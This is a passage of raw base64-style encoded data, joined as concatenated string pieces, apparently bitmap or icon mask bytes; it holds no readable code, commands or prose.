AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////AH///////////////////////////////////////+AAAB//////// + //////////////////////////////gAAAAH////////////////////////////////////4AAAAAAP + ///////////////////////////////////AAAAAAAA//////////////////////////////////4AA + AAAAAAB/////////////////////////////////AAAAAAAAAAH///////////////////////////// + //8AAAAAAAAAAAH//////////////////////////////wAAAAAAAAAAAA////////////////////// + ////////AAAAAAAAAAAAAA////////////////////////////8AAAAAAAAAAAAAAP////////////// + /////////////wAAAAAAAAAAAAAAAD//////////////////////////AAAAAAAAAAAAAAAAAf////// + //////////////////8AAAAAAAAAAAAAAAAAAf///////////////////////wAAAAAAAAAAAAAAAAAA + D///////////////////////AAAAAAAAAAAAAAAAAAAAH/////////////////////8AAAAAAAAAAAAA + AAAAAAAAf////////////////////wAAAAAAAAAAAAAAAAAAAAAB////////////////////AAAAAAAA + AAAAAAAAAAAAAAAD//////////////////8AAAAAAAAAAAAAAAAAAAAAAAAf/////////////////wAA + AAAAAAAAAAAAAAAAAAAAAAH/////////////////AAAAAAAAAAAAAAAAAAAAAAAAAf////////////// + //8AAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAH///// + ////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AA///////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB//////////AIAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAH////////8AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////wCAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAA///////AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB/////8AgAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAf///wCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///gYAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///BgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/+GA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/+YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAA//4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/4AAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAf/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/+AAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB/4AAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+A + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/gAAAAAAAAAAAAAAAAAAAAAAAAAAA + 